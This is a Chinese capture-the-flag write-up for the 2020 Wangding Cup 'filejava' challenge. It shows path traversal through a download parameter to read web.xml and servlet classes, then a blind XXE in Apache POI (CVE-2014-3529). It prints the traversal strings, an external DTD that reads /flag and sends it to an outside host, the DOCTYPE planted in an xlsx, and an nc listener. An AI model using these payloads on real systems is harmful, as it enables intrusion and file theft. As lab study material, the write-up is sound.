[网鼎杯 2020 青龙组 wp ]filejava
知识点
web.xml文件泄露
blind xxe
用到的工具:
burpsuit或者hackbar都可以
一、审题
1.打开题目
2.收集信息
2.1随便上传一个文件,然后点击下载,抓包
看到有filename,猜测可能存在目录穿越以及任意文件下载
2.2尝试通过报错来获取网站的绝对路径,设置URL参数filename=../
二、探查敏感信息
1.探查敏感信息
1.1爆出了绝对路径
路径里面有WEB-INF,题目提示与java有关,那应该是web.xml文件泄露,尝试读取,修改filename参数如下(…/数量随意写几个):
filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
1.2下载源码
这里因为不知道配置文件的具体位置就用…/来代替具体多少慢慢试,可以看到再上图右边其中显示出了源码,以此下载下来,路径分别是
filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
看别人WP,好像这样也可以相对路径也可以
```html
filename=…/…/…/…/WEB-INF/web.xml
filename=…/…/…/…/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
filename=…/…/…/…/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
filename=…/…/…/…/WEB-INF/classes/cn/abc/servlet/ UploadServlet.class
1.3反编译源码
对这些class文件进行反编译,我用的jd-gui
1.4发现漏洞
这里是一个excel和xxe漏洞的结合,CVE-2014-3529
接下来引用大佬的一段话:
这就比较明显了,考虑是Excel的xxe,和前段时间易霖博的web4那个word文档xxe类似,但是因为是blind,需要把结果打回我们的服务器,做法和hgame week4 代打出题人服务中心那个题目基本一样。(可能就是我太菜了把,继续刷题学习)
Apache POI XML外部实体漏洞CVE-2014-3529 (poi-ooxml-3.10-FINAL.jar及以下版本) https://www.jianshu.com/p/73cd11d83c30, 用 .xlsx然后构造xml文件读flag
Apache POI 是 Apache 软件基金会的开源项目,POI 提供 API 接口给 Java 程序对 Microsoft office 格式文档读写能力。
Microsoft Office从2007版本引入了新的开放的XML文件格式,新的XML文件格式基于压缩的ZIP文件格式规范
poi-ooxml 包里org.apache.poi.openxml4j.opc.internal.ContentTypeManager#parseContentTypesFile 中读取 [Content-Types].xml 时没有进行 XXE 防护。
三、上传shell、提权、获取flag
1.漏洞利用
接下就是用一个xlsx文件来完成dtd危险检测从而得到flag了,具体原理就是在靶机上传反弹shell,然后通过一个VPS(云虚拟服务器)上获得监听(监听时需要VPS服务器上http服务目录下得有一个dtd文件,对接反弹shell),最终得到flag。
1.1获取vps
1.1.1 VPS可以购买阿里云虚拟服务器,或者直接用buu上的服务,如下图。
因为这道题是在buuctf上再现的,所以要想监听到反弹shell,就要求VPS和靶机在一个(内)网段上(比赛中是不用的,任何一个VPS都可以,只有靶机能访问到你VPS就可以)。又因为buuctf一次只能开一个靶机,所以我在buuctf又申请了个小号。
1.1.2登录后,点击BASIC—》Linux Labs
1.1.3 用ssh工具putty或xshell登录
第一次登录,点击open后,弹出提示,点击yes.
输入root 和密码123456,登录成功,这样我们就获取到了免费的VPS,用来做这道题目。记住这里的IP地址,下面要用!
2.创建反弹shell
2.1创建dtd文件
2.1.1在buu VPS上,新建file.dtd(用来链接靶机上的反弹shell)并添加如下代码
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://174.0.38.199:9999?p=%file;'>">
可以在本地机器上用记事本先写好
然后复制代码后,在VPS上,先输入字母I 进入编辑模式,然后直接按右键就粘贴进去了。(不知道为什么粘贴的总是少一部分代码,为了不想手动输入,我就多复制了一句代码,右键粘贴后,把多余的代码删除就好。VI命令技巧:按i键是进入编辑模式;按ESC键是退出编辑模式;删除单个字符时按shift+del
2.2创建靶机上的反弹shell。
新建一个excel-123.xlsx (由上面下载源码可知必须是exccel-开头,结尾是.xlsx,,中间随便起),修改后缀名为.zip,然后右键压缩软件打开(一定要这样做,不能解压缩后再编辑,那样可能会出错。)
在第二行添加如下代码,IP地址就是ssh登录linux labs登录后的地址,然后保存。压缩软件会提醒是否更新到压缩包,点击确定,是。
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://174.0.38.199/file.dtd">
%remote;%int;%send;
]>
然后,再把后缀名改成.xlsx。到此咱们的反弹shell就创建好了。
3.开启监听。
nc -llvp 9999也可以。
4.上传反弹shell
5.查看返回的shell
这里我忘记截图了,用别人的图顶一下。返回的shell可以得到flag。
orz:这道题看着别人的wp还做了一天,才弄完。
一是看了好几个人的wp,看的过程中,又查找不懂的东西,浪费了时间。
二是免费的VPS上浪费时间,别人的WP关于这部分就一句话,说的不详细,对于我这个菜鸟来说也是一步步自己摸索,试了半天;
三是 无论是修改xlsx 还是dtd文件时,都用到了一个VPS服务器的IP,我一直以为是node3.buuoj.cn:26658的ip,在命令中ping node3.buuoj.cn:26658 获得的IP,这是buu公网IP,实际应该用登录进ssh后,用ifconfig命令查看出来的ip地址。因为这步的错误,监听时怎么也没反应,差点放弃。
上一篇: 大家帮忙推荐几本好书吧